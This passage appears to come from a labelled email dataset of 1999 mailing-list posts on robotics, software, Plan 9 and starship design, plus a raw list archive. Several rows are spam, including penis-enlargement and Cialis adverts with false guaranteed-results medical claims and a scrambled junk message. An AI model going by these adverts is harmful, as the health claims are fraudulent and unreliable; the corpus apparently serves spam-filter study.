freedom of the > device had rotary encoder feedback to the basic stamp. > > So picture yourself holding this thing in your hand. You hold the arm out > straight, knowing if you wiggle it just right the penculum will start > spinning around on the end like a single bladed propeller. There, I guess > that is clear enough. > > The robot, when you turned it on, wiggled the arm and set the pendulum to > swinging. After tfive or ten seconds, the robot would stop with the > pendulum pointed straight up, perfectly balanced on the end of the arm. > Everything was on needle bearings, so this was no easy task. > > Gary Livick > > rmtmd wrote: > > > Anybody catch the segment last night on the robotic wheelchair. I think > > it was on Dateline. > > > > Watching it climb stairs was impressive, but seeing the chair stand > > upright on two of its four wheels while the occupant caught a 25lb sack > > of lead, all without the robotic chair even appearing to correct its > > balance was amazing. The inventor must have one fast controller, lots of > > accelerometers, and some very fancy code to do that! > > > > Ross M. Tonkens, M.D. > > Medical Director > > Primary Care of Nevada > > 100 North Green Valley Parkway > > Suite 240 > > Henderson, NV 89014 > > > > 702 914-7120 VOICE > > 702 914-7129 FAX ",0,0 bill_r@inetnebr.com,handyboard@media.mit.edu,"Thu, 01 Jul 1999 14:37:57 -0500",Re: Robotic Wheelchair,">Anybody catch the segment last night on the robotic wheelchair. I think >it was on Dateline. > There's an on-line blub about it at: http://www.msnbc.com/news/285231.asp Pretty wild!!! Bill Richman incolor.inetnebr.com/bill_r (Home of the COSMAC Elf microcomputer simulator!) ",0,1 rmtmd ,"Bill Richman , handyboard@media.mit.edu","Thu, 01 Jul 1999 13:51:57 -0700",Robotic Wheelchair in Wall Street Journal,"Check out today's Wall Street Journal, Page B1, above the fold, for an in depth article with much better photos than on the web site. I'm sure it's on the WSJ web site, too, but I haven't checked. Bill Richman >>Anybody catch the segment last night on the robotic wheelchair. I think >>it was on Dateline. >> > >There's an on-line blub about it at: > >http://www.msnbc.com/news/285231.asp > >Pretty wild!!! > > Bill Richman > incolor.inetnebr.com/bill_r > (Home of the COSMAC Elf > microcomputer simulator!) > > RMT ",0,1 Deo Ireland ,9fans@cse.psu.edu,"Thu, 01 Jul 1999 23:08:29 -0700",Re: VtAqGRA new,"Hi V y A v L i I v U q M c C q I n A s L y I w S r V y I n A z G x R s A a X b A l N s A t X q http://www.acrostount.com Brinel indemnit evermor alderma injectio Moscow streets or getting into official vehicles, driving or being driven throughout the city and, in several cases, outside the city over country roads. In every case the subjects under surveillance met with other men and women, whereupon the zoom lenses enlarged the faces. A number of shots took place inside buildings, the scenes murky and dark, the result of insufficient light and awkwardly held concealed cameras. ",1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 02 Jul 1999 16:39:28 -0700",[DMDX] Exclusive Sound access," A slight oops was discoved today that is revealed by DMDX's stubborn insistance that some other process has exclusive access to DirectSound and that it's can't therefore get exclusive access (and so no sound is available in DMDX). And try as you might you can't find anything else that might have exclusive access to the sound card. The problem occurs because previous versions of the Sound Driver selection dialog in TimeDX incorrectly indicated what the currently selected device was, they always left the selection as the last device, not good as the last device is rarely the desired one and if someone presses OK, voila, no more sound. The problem didn't surface until recently as there was rarely more than one or two devices to choose from until DirectX 6.1 came along. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""What is wanted is not the will to believe, but the will to find out, which is the exact opposite."" - Bertrand Russell, ""Skeptical_Essays"", 1928 ",0,0 Solomon Patterson ,9fans@cse.psu.edu,"Fri, 02 Jul 1999 23:41:34 -0100",Sales,"-S'ensationall revoolution in m'edicine! -E'n'l'a'r'g'e your p''enis up to 10 cm or up to 4 inches! -It's herbal solution what hasn't side effect, but has 100% guaranted results! -Don't lose your chance and but know wihtout doubts, you will be impressed with results! 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",0,0 Digby Tarvin ,9fans@cse.psu.edu,"Sat, 03 Jul 1999 16:22:21 +0100",Re: [9fans] spawn() vs fork(),"> >Imagine how you would do IO redirection with spawn(). > I don't have to imagine - I have done a lot of work with the OS-9 operating sytem which does just that. OS-9 dates back to the time when memory management with dynamic address translation was pretty rare and exotic (originally ran on M6809) so for maximum hardware portability the system assumes that everything works on physical addresses. MMU, if available, is only used to restrict read/write access. That compromise meant that a fork() style of process creation was not possible (all pointers in the child's data segment would be pointing into the parents memory), so it uses a spawn() style of process creation. I/O redirection is implemented using a flurry of dup(), close() open() calls before and after the child is created (combined with the ability to control how many open file descriptors are passed on to the child). Fork() is a much more elegant way of giving code in the parent process a chance to initialise the environment for the child before transferring control - not only I/O, but also current directory, UID, priority etc, all without having to define a set of additional system calls or adding a long list of arguments to the spawn request... On the down side, appart from relying on address translation, fork() is usually more complex to implement in the kernel, and a fork()/exec() sequence usually involves more run time overhead than a single combined semantic. Regards, DigbyT -- Digby R. S. Tarvin digbyt@acm.org http://www.cthulhu.dircon.co.uk ",0,1 Ivory Gilliam ,Erica <9fans@cse.psu.edu>,"Sat, 03 Jul 1999 21:34:15 +0200",C_I_A_L_I_S and be a superman in bed! ,"Hi there,9fans@cse.psu.edu Try our revolutionary product, C_I_A_L_I_S Soft Tabs. New improved formula makes it even better. C_I_A_L_I_S Soft Tabs is the new impotence treatment drug that everyone is talking about. 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This time dl just waited until I switched on the power, after which it gave me message something like no response from board and trying again. Can somebody tell me what I am doing wrong? The leds don't seem to come on for 0.33 seconds when I hold the STOP button and turn the power on. I have tried 3 different machine (2NTs and Win95) fearing that the OS might not be truely releasing the COM ports. Also, turning the power switch of the boaRD on/off seems to turn on/off couple of yellow LEDs on the main board or serial interface. -Satish. PS: I have another question too. Should I solder the battery pack to the HB when I connect the adapter to the HB? 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Mailing list services provided by klx.communications -- www.klx.com >From VM Wed Jul 7 17:20:59 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""4590"" ""Wednesday"" ""7"" ""July"" ""1999"" ""20:18:34"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""111"" ""starship-design: Fwd: Interstellar Planets Could Support Life"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 4590 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id RAA23961 for starship-design-outgoing; Wed, 7 Jul 1999 17:19:21 -0700 (PDT) Received: from imo20.mx.aol.com (imo20.mx.aol.com [198.81.17.10]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id RAA23952 for ; Wed, 7 Jul 1999 17:19:18 -0700 (PDT) Received: from KellySt@aol.com by imo20.mx.aol.com (IMOv20.21) id nQZMa09230 (305); Wed, 7 Jul 1999 20:18:35 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""part1_f3e731c9.24b5485a_boundary"" X-Mailer: AOL 2.7 for Mac sub 3 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: moschleg@erols.com, Sdudley6@aol.com, MARK.A.JENSEN@cpmx.saic.com, DTaylor648@aol.com, JohnFrance@aol.com, starship-design@lists.uoregon.edu, bbbark@surfree.com, jcavelos@empire.net, starchld@io.com, Msruff@aol.com, DotarSojat@aol.com, rddesign@wolfenet.com, RICKJ@btio.com, indy@the-line.com Subject: starship-design: Fwd: Interstellar Planets Could Support Life Date: Wed, 7 Jul 1999 20:18:34 EDT --part1_f3e731c9.24b5485a_boundary Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit A weird new relm for SF stories. Or deep space exploration. Kelly --part1_f3e731c9.24b5485a_boundary Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from rly-yg01.mx.aol.com (rly-yg01.mail.aol.com [172.18.147.1]) by air-yg02.mx.aol.com (v59.55) with SMTP; Wed, 07 Jul 1999 16:26:12 -0400 Received: from bastion.mail.sprint.com (bastion3.mail.sprint.com [208.4.28.131]) by rly-yg01.mx.aol.com (vx) with SMTP; Wed, 07 Jul 1999 16:26:03 -0400 Received: from [160.41.28.141] by bastion3.mail.sprint.com with ESMTP for kellyst@aol.com; Wed, 7 Jul 1999 15:26:01 -0500 Received: from [144.223.128.84] by sii01.mail.sprint.com with ESMTP; Wed, 7 Jul 1999 15:26:01 -0500 Received: from kcopmp02.corp.sprint.com (root@kcopmp02 [144.223.26.114]) by kcopmh01.corp.sprint.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id PAA27474 for ; Wed, 7 Jul 1999 15:26:00 -0500 (CDT) From: kelly g starks Received: from localhost (root@localhost) by kcopmp02.corp.sprint.com (8.8.6 (PHNE_14041)/8.8.6) with SMTP id PAA17253 for kellyst@aol.com; Wed, 7 Jul 1999 15:25:59 -0500 (CDT) X-OpenMail-Hops: 1 Date: Wed, 7 Jul 1999 15:25:52 -0500 Message-Id: Subject: Interstellar Planets Could Support Life TO: kellyst@aol.com MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""openmail-part-03004d7c-00000001"" --openmail-part-03004d7c-00000001 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: quoted-printable http://www.spaceviews.com/1999/07/03a.html Spaceviews Interstellar Planets Could Support Life =20 Published: 1999 July 3 =20 9:53 am ET (1353 UT) Earth-sized planets ejected early in the history of solar systems could support life even in the cold depths of interstellar space, a Caltech scientist has found. In a paper published in the July 1 issue of the journal Nature, David Stevenson of Caltech found that such ""interstellar planets"" could retain enough heat to support conditions conducive to the formation of life. Simulations of the formation of the solar system show that up to ten planets the size of the Earth could have formed, but either collided with Jupiter or were ejected from the solar system during close approaches to the giant planet. These planets would normally cool as they moved far away from the Sun or any other star, but a dense hydrogen atmosphere retained from their formation could act as an insulating blanket, retaining the heat generated by the radioactive decay of elements in the interior of the planet. This could create Earth-like temperatures on the surface of the planet, even in the absence of an outside heat source. The planet could have liquid water oceans, but would have a surface pressure similar to that at the bottom of the Earth's oceans. If these planets have geothermal-like heat sources, the energy could be enough to allow the formation of some small, simple life forms. How complex the life could be is an open question, Stevenson believes. ""I don't think anyone knows what is required to drive biological evolution from simple to very complex systems."" However, other research, including that by Caltech colleagues Eric Gaidos and Joseph Kirschvink, suggests that geothermal energy sources may not be sufficient to generate anything more than the simplest life forms. Efforts to locate these planets, which may be commonplace if other solar systems formed like our own, would require advanced detection techniques, because of the limited amount of light they emit. Steven suggested looking for occultations, when the light from a background star is temporarily dimmed by the passage of one of these planets. ""I'm not saying that these objects have life,"" Stevenson said. ""All I'm saying is that, among the places you might want to consider for sustainable life, you might eventually want to look at these objects. They could be the most common location for life in the universe."" --openmail-part-03004d7c-00000001-- --part1_f3e731c9.24b5485a_boundary-- >From VM Wed Jul 7 17:20:59 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""9344"" ""Wednesday"" ""7"" ""July"" ""1999"" ""20:18:40"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""178"" ""starship-design: Fwd: The Story of a Tragedy That Was Not to Be"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 9344 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id RAA24114 for starship-design-outgoing; Wed, 7 Jul 1999 17:19:58 -0700 (PDT) Received: from imo12.mx.aol.com (imo12.mx.aol.com [198.81.17.2]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id RAA24103 for ; Wed, 7 Jul 1999 17:19:56 -0700 (PDT) Received: from KellySt@aol.com by imo12.mx.aol.com (IMOv20.21) id nARMa27393 (305); Wed, 7 Jul 1999 20:18:41 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""part1_db61e94b.24b54860_boundary"" X-Mailer: AOL 2.7 for Mac sub 3 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: moschleg@erols.com, Sdudley6@aol.com, MARK.A.JENSEN@cpmx.saic.com, DTaylor648@aol.com, JohnFrance@aol.com, starship-design@lists.uoregon.edu, bbbark@surfree.com, Kryswalker@aol.com, jcavelos@empire.net, starchld@io.com, DotarSojat@aol.com, rddesign@wolfenet.com, RICKJ@btio.com, indy@the-line.com, Shealiak@XS4ALL.nl, Msruff@aol.com Subject: starship-design: Fwd: The Story of a Tragedy That Was Not to Be Date: Wed, 7 Jul 1999 20:18:40 EDT --part1_db61e94b.24b54860_boundary Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit Plans if the first Moon landing had a worst case failure. Kelly --part1_db61e94b.24b54860_boundary Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from rly-yg02.mx.aol.com (rly-yg02.mail.aol.com [172.18.147.2]) by air-yg03.mx.aol.com (v59.55) with SMTP; Wed, 07 Jul 1999 16:36:11 -0400 Received: from bastion1-ext.mail.sprint.com (bastion.mail.sprint.com [208.4.28.129]) by rly-yg02.mx.aol.com (vx) with SMTP; Wed, 07 Jul 1999 16:36:00 -0400 Received: from [160.41.28.141] by bastion1.mail.sprint.com with ESMTP; Wed, 7 Jul 1999 15:35:59 -0500 Received: from [144.223.128.84] by sii01.mail.sprint.com with ESMTP; Wed, 7 Jul 1999 15:35:58 -0500 Received: from kcopmp02.corp.sprint.com (root@kcopmp02 [144.223.26.114]) by kcopmh01.corp.sprint.com (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id PAA07077; Wed, 7 Jul 1999 15:35:57 -0500 (CDT) From: kelly g starks Received: from localhost (root@localhost) by kcopmp02.corp.sprint.com (8.8.6 (PHNE_14041)/8.8.6) with SMTP id PAA20244; Wed, 7 Jul 1999 15:35:56 -0500 (CDT) X-OpenMail-Hops: 1 Date: Wed, 7 Jul 1999 15:35:52 -0500 Message-Id: Subject: The Story of a Tragedy That Was Not to Be TO: indy@the-line.com, kellyst@AOL.COM, kryswalker@AOL.COM MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=""openmail-part-03006c09-00000001"" --openmail-part-03006c09-00000001 Content-Type: text/plain; charset=""ISO-8859-1"" Content-Transfer-Encoding: quoted-printable http://www.latimes.com/HOME/NEWS/ASECTION/t000060701.html Wednesday, July 7, 1999 LATIMES INTERNATIONAL OUTLOOK =20 The Story of a Tragedy That Was Not to Be =20 By JIM MANN =20 WASHINGTON--This column is about America's walk on the moon and the untold story of one of the most poignant presidential speeches in American history--a speech that never had to be delivered. =20 In two weeks, this country will celebrate the 30th anniversary of the day when Neil Armstrong and Edwin E. ""Buzz"" Aldrin Jr. stepped onto the surface of the moon. =20 Over the past three decades, many of the details of that epic trip have been told over and over again in books and movies. And so, naturally, we now take it as a given that the trip was destined to be a success--that the American astronauts, after landing on the moon, would return home safely. =20 But it didn't seem so inevitable at the time. It turns out that officials at the White House and NASA quietly made contingency plans for what President Richard Nixon would do if Armstrong and Aldrin got stuck on the moon and were doomed to die there. =20 There was even a euphemism for how such a tragedy would end. The stranded astronauts would ""close down communications"" with Mission Control in Houston and be left in silence, either to die slowly or, perhaps, to commit suicide. =20 Nixon's speech was to end with these haunting words, in effect a tribute to Armstrong and Aldrin: ""For every human being who looks up at the moon in the nights to come will know that there is some corner of another world that is forever mankind."" =20 I came across the remarkable documentary evidence of this lugubrious planning a couple of years ago, while doing research in the National Archives. =20 There, sitting in the files from the Nixon administration, was a memo titled: ""In Event of Moon Disaster."" It laid out a precise scenario for what Nixon should do if the astronauts' lunar vehicle couldn't get back up off the moon into lunar orbit to hook up with the command module. =20 According to the memo, once it was clear that Armstrong and Aldrin could not come home, Nixon was to call the ""widows-to-be"" to express condolences. He was then to deliver a speech to the nation. =20 Finally, at the point when NASA would cut off radio communications with the moon and leave the astronauts alone to die, a clergyman was to commend their souls to ""the deepest of the deep,"" in the fashion of a burial at sea. =20 The planning memo was drafted for Nixon's chief of staff, H.R. Haldeman, by Nixon's speech writer, William Safire, now a columnist for the New York Times. At the same time, Safire drafted the short speech Nixon was to give. =20 Years ago, in a memoir about his time in the Nixon White House, Safire briefly alluded to this secret planning. =20 ""On June 13, Frank Borman--an astronaut the president liked and whom NASA had assigned to be our liaison--called me to say, 'You want to be thinking of some alternative posture for the president in the event of mishaps on Apollo XI.' When I didn't react promptly, Borman moved off the formal language--'like what to do for the widows.' "" =20 Safire complied. His memo and the speech he drafted for Nixon were retained in Nixon's White House files and now sit in the National Archives. Here is the full text of this extraordinary speech: =20 Fate has ordained that the men who went to the moon to explore in peace will stay on the moon to rest in peace. =20 These brave men, Neil Armstrong and Edwin Aldrin, know that there is no hope for their recovery. But they also know that there is hope for mankind in their sacrifice. =20 These two men are laying down their lives in mankind's most noble goal: the search for truth and understanding. =20 They will be mourned by their families and friends; they will be mourned by their nation; they will be mourned by the people of the world; they will be mourned by a Mother Earth that dared send two of her sons into the unknown. =20 In their exploration, they stirred the people of the world to feel as one; in their sacrifice, they bind more tightly the brotherhood of man. =20 In ancient days, men looked at stars and saw their heroes in the constellations. In modern times, we do much the same, but our heroes are epic men of flesh and blood. =20 Others will follow, and surely find their way home. Man's search will not be denied. But these men were the first, and they will remain the foremost in our hearts. =20 For every human being who looks up at the moon in the nights to come will know that there is some corner of another world that is forever mankind. =20 The secret preparations serve as a reminder of just how risky was the voyage to the moon. Confident of American technology, officials at NASA and the White House still left nothing to chance. They secretly feared something could go terribly wrong. =20 Yet these events are, in their way, also a testament to hope. We may prepare for tragedy, but our worst nightmares rarely happen. Three decades ago on July 20, Armstrong and Aldrin walked on the rubble of the moon and then came home again. Nixon's undelivered speech was thrown into a file and happily forgotten. =20 * * * Jim Mann's column appears in this space every Wednesday. =20 Copyright 1999 Los Angeles Times. All Rights Reserved =20 --openmail-part-03006c09-00000001-- --part1_db61e94b.24b54860_boundary-- >From VM Fri Jul 9 15:23:32 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""243"" ""Friday"" ""9"" ""July"" ""1999"" ""18:21:07"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""14"" ""starship-design: Re: RE: Interstellar Planets Could Support Life"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 243 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id PAA14875 for starship-design-outgoing; Fri, 9 Jul 1999 15:22:10 -0700 (PDT) Received: from imo23.mx.aol.com (imo23.mx.aol.com [198.81.17.67]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id PAA14861 for ; Fri, 9 Jul 1999 15:22:07 -0700 (PDT) Received: from KellySt@aol.com by imo23.mx.aol.com (IMOv20.21) id cSEDa06967 (4419); Fri, 9 Jul 1999 18:21:08 -0400 (EDT) Message-ID: <5226735f.24b7cfd3@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Mac - Post-GM sub 54 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: MARK.A.JENSEN@cpmx.saic.com, KellySt@aol.com, moschleg@erols.com, Sdudley6@aol.com, DTaylor648@aol.com, JohnFrance@aol.com, starship-design@lists.uoregon.edu, bbbark@surfree.com, jcavelos@empire.net, starchld@io.com, Msruff@aol.com, DotarSojat@aol.com, rddesign@wolfenet.com, RICKJ@btio.com, indy@the-line.com Subject: starship-design: Re: RE: Interstellar Planets Could Support Life Date: Fri, 9 Jul 1999 18:21:07 EDT In a message dated 7/7/99 10:58:49 PM, MARK.A.JENSEN@cpmx.saic.com writes: >I can just see some Hollywood idiot reading this and penning a new script > >for a pilot for the Sci Fi Channel entitled: ""Space 1999 BC"" > > > >;) MJ BC? Kelly >From VM Fri Jul 9 15:42:21 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""373"" ""Friday"" ""9"" ""July"" ""1999"" ""18:39:57"" ""-0400"" ""Curtis L. Manges"" ""clmanges@worldnet.att.net"" nil ""8"" ""starship-design: re: interstellar planets supporting life"" ""^From:"" nil nil ""7"" nil nil nil nil nil] nil) Content-Length: 373 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id PAA22269 for starship-design-outgoing; Fri, 9 Jul 1999 15:41:28 -0700 (PDT) Received: from mtiwmhc03.worldnet.att.net (mtiwmhc03.worldnet.att.net [204.127.131.38]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id PAA22256 for ; Fri, 9 Jul 1999 15:41:26 -0700 (PDT) Received: from worldnet.att.net ([12.76.97.236]) by mtiwmhc03.worldnet.att.net (InterMail v03.02.07.07 118-134) with ESMTP id <19990709224054.SDCG4954@worldnet.att.net> for ; Fri, 9 Jul 1999 22:40:54 +0000 Message-ID: <37867A3D.B2449BA9@worldnet.att.net> X-Mailer: Mozilla 4.61 [en] (Win98; I) X-Accept-Language: en MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: ""Curtis L. Manges"" From: ""Curtis L. Manges"" Sender: owner-starship-design@lists.uoregon.edu To: ""starship-design@lists.uoregon.edu"" Subject: starship-design: re: interstellar planets supporting life Date: Fri, 09 Jul 1999 18:39:57 -0400 I can't help wondering: what kind of life would develop or evolve in near-total darkness? I guess we can find examples in our own ocean depths, but what would it look like on land? Photosynthesis being out of the question, the flora would certainly take a much different turn from what we're familiar with, and by necessity, the fauna would also. Interesting . . . Curtis >From VM Mon Jul 12 10:08:22 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""906"" ""Saturday"" ""10"" ""July"" ""1999"" ""15:35:02"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""20"" ""Re: starship-design: re: interstellar planets supporting life"" ""^From:"" nil nil ""7"" nil ""starship-design: re: interstellar planets supporting life"" nil nil nil] nil) Content-Length: 906 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id MAA10165 for starship-design-outgoing; Sat, 10 Jul 1999 12:36:08 -0700 (PDT) Received: from imo20.mx.aol.com (imo20.mx.aol.com [198.81.17.10]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id MAA10160 for ; Sat, 10 Jul 1999 12:36:06 -0700 (PDT) Received: from KellySt@aol.com by imo20.mx.aol.com (IMOv20.21) id zGRLa15847 (3889) for ; Sat, 10 Jul 1999 15:35:28 -0400 (EDT) Message-ID: <6d612d8b.24b8fa66@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Mac - Post-GM sub 54 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: re: interstellar planets supporting life Date: Sat, 10 Jul 1999 15:35:02 EDT In a message dated 7/9/99 5:41:46 PM, clmanges@worldnet.att.net writes: >I can't help wondering: what kind of life would develop or evolve in >near-total darkness? I guess we can find examples in our own ocean >depths, but what would it look like on land? Photosynthesis being out of >the question, the flora would certainly take a much different turn from >what we're familiar with, and by necessity, the fauna would also. >Interesting . . . > >Curtis I was wondering about that. They've found that the temp of planets like Earth and Venus are much moredetermined by the temperature of its core, and the nature of its crust. So the surface temp could be similar. Life forms could be based of cemosynthasis like the stuff living near ocean bottom volcanic vents. Is anything down there a oxegen producer? Sounds like a lot of the evolution could be similar. Fish, legged animals, etc. Kelly >From VM Mon Jul 12 10:08:22 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""645"" ""Saturday"" ""10"" ""July"" ""1999"" ""14:58:06"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""16"" ""Re: starship-design: re: interstellar planets supporting life"" ""^From:"" nil nil ""7"" nil ""starship-design: re: interstellar planets supporting life"" nil nil nil] nil) Content-Length: 645 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id NAA21659 for starship-design-outgoing; Sat, 10 Jul 1999 13:54:15 -0700 (PDT) Received: from main.jetnet.ab.ca (root@main.jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id NAA21653 for ; Sat, 10 Jul 1999 13:54:12 -0700 (PDT) Received: from jetnet.ab.ca (bfranchuk@dialin40.jetnet.ab.ca [207.153.6.40]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id OAA21056 for ; Sat, 10 Jul 1999 14:54:10 -0600 (MDT) Message-ID: <3787B3DE.548BF48E@jetnet.ab.ca> X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.0.36 i586) X-Accept-Language: en MIME-Version: 1.0 References: <6d612d8b.24b8fa66@aol.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: Re: starship-design: re: interstellar planets supporting life Date: Sat, 10 Jul 1999 14:58:06 -0600 > > I was wondering about that. They've found that the temp of planets like > Earth and Venus are much moredetermined by the temperature of its core, and > the nature of its crust. So the surface temp could be similar. Life forms > could be based of cemosynthasis like the stuff living near ocean bottom > volcanic vents. Is anything down there a oxegen producer? Sounds like a lot > of the evolution could be similar. Fish, legged animals, etc. > > Kelly Photosynthesis is the only known oxygen producing reaction in life that I know about. Thermal reactions don't supply a lot of surplus energy however. That is the key factor. Ben >From VM Mon Jul 12 10:08:22 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1947"" ""Saturday"" ""10"" ""July"" ""1999"" ""17:49:42"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""50"" ""starship-design: Re: SpaceShip Ideas"" ""^From:"" nil nil ""7"" nil ""starship-design: Re: SpaceShip Ideas"" nil nil nil] nil) Content-Length: 1947 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id OAA29159 for starship-design-outgoing; Sat, 10 Jul 1999 14:52:03 -0700 (PDT) Received: from imo18.mx.aol.com (imo18.mx.aol.com [198.81.17.8]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id OAA29150 for ; Sat, 10 Jul 1999 14:52:01 -0700 (PDT) Received: from KellySt@aol.com by imo18.mx.aol.com (IMOv20.21) id eOUKa05091 (4458); Sat, 10 Jul 1999 17:49:42 -0400 (EDT) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Mac - Post-GM sub 54 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: chris@vela.astro.ucla.edu, starship-design@lists.uoregon.edu Subject: starship-design: Re: SpaceShip Ideas Date: Sat, 10 Jul 1999 17:49:42 EDT In a message dated 7/10/99 1:50:59 PM, chris@vela.astro.ucla.edu writes: >Dear Kelly, > > You have some fascinating proposal for interstellar spacecraft >on the LIT webpage. Might I suggest one idea which you may have >considered already for its feasibility? > > It seems the difficulty is not in leaving the Sol system since >propulsion could be provided externally (eg. pellets, lasers) but >in Decelerating. My risky proposal is the following: > >Before arriving, half of ship splits off and goes ahead. This half >then, using very precise thrusting, loops around the destination >star (or one of its planets) and flies back in the opposite direction. Your going too fast to use the gravity of a normal star to turn you around. >Not a trivial maneuver by any means, but given the successes of the >Voyager, etc. missions, not inconceivable. This ""Front"" part of the >ship is actually equipped with pellet gun which fires pellets >(which comprise most of its mass) back to the main ship. Moment >transfer of the pellets (accomplished very carefully) slows down the main >ship. If everything could be done ""gently"" these massive pellets >could actually composed of material which you would bring along >on the journey anyway, (food & water supplies) so they don't add mass. Catching pellats this way could help a lot, but since they'ld being coming straigh at you at 3/4ths of light speed that would be nearly impossible. > > Obviously the faster you go the more difficult this idea >becomes. However I believe I heard (but have not calculated) >that at much above 0.1 c, background radiation starts to get >blueshifted into dangerous xrays, etc. So you might want a slow >voyage anyway... A slow ship takes too long to be practical, it would need to be far larger and heavier. > >-chris > Thanks for the suggests though. Not quiet right yet, but new ideas are always worth considering. Kelly >From VM Mon Jul 12 10:08:22 1999 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1115"" ""Saturday"" ""10"" ""July"" ""1999"" ""19:41:27"" ""-0600"" ""Ben Franchuk"" ""bfranchuk@jetnet.ab.ca"" nil ""24"" ""starship-design: Split space ship design."" ""^From:"" nil nil ""7"" nil ""starship-design: Split space ship design."" nil nil nil] nil) Content-Length: 1115 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.9.3/8.9.3) id SAA01418 for starship-design-outgoing; Sat, 10 Jul 1999 18:37:37 -0700 (PDT) Received: from main.jetnet.ab.ca (root@main.jetnet.ab.ca [207.153.11.66]) by darkwing.uoregon.edu (8.9.3/8.9.3) with ESMTP id SAA01412 for ; Sat, 10 Jul 1999 18:37:34 -0700 (PDT) Received: from jetnet.ab.ca (bfranchuk@dialin58.jetnet.ab.ca [207.153.6.58]) by main.jetnet.ab.ca (8.9.1/8.9.1) with ESMTP id TAA04775 for ; Sat, 10 Jul 1999 19:37:30 -0600 (MDT) Message-ID: <3787F647.280C957A@jetnet.ab.ca> X-Mailer: Mozilla 4.61 [en] (X11; I; Linux 2.0.36 i586) X-Accept-Language: en MIME-Version: 1.0 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Precedence: bulk Reply-To: Ben Franchuk From: Ben Franchuk Sender: owner-starship-design@lists.uoregon.edu CC: starship-design@lists.uoregon.edu Subject: starship-design: Split space ship design. Date: Sat, 10 Jul 1999 19:41:27 -0600 S >> Before arriving, half of ship splits off and goes ahead. This half >> then, using very precise thrusting, loops around the destination >> star (or one of its planets) and flies back in the opposite direction. > > Your going too fast to use the gravity of a normal star to turn you around. > > >Not a trivial maneuver by any means, but given the 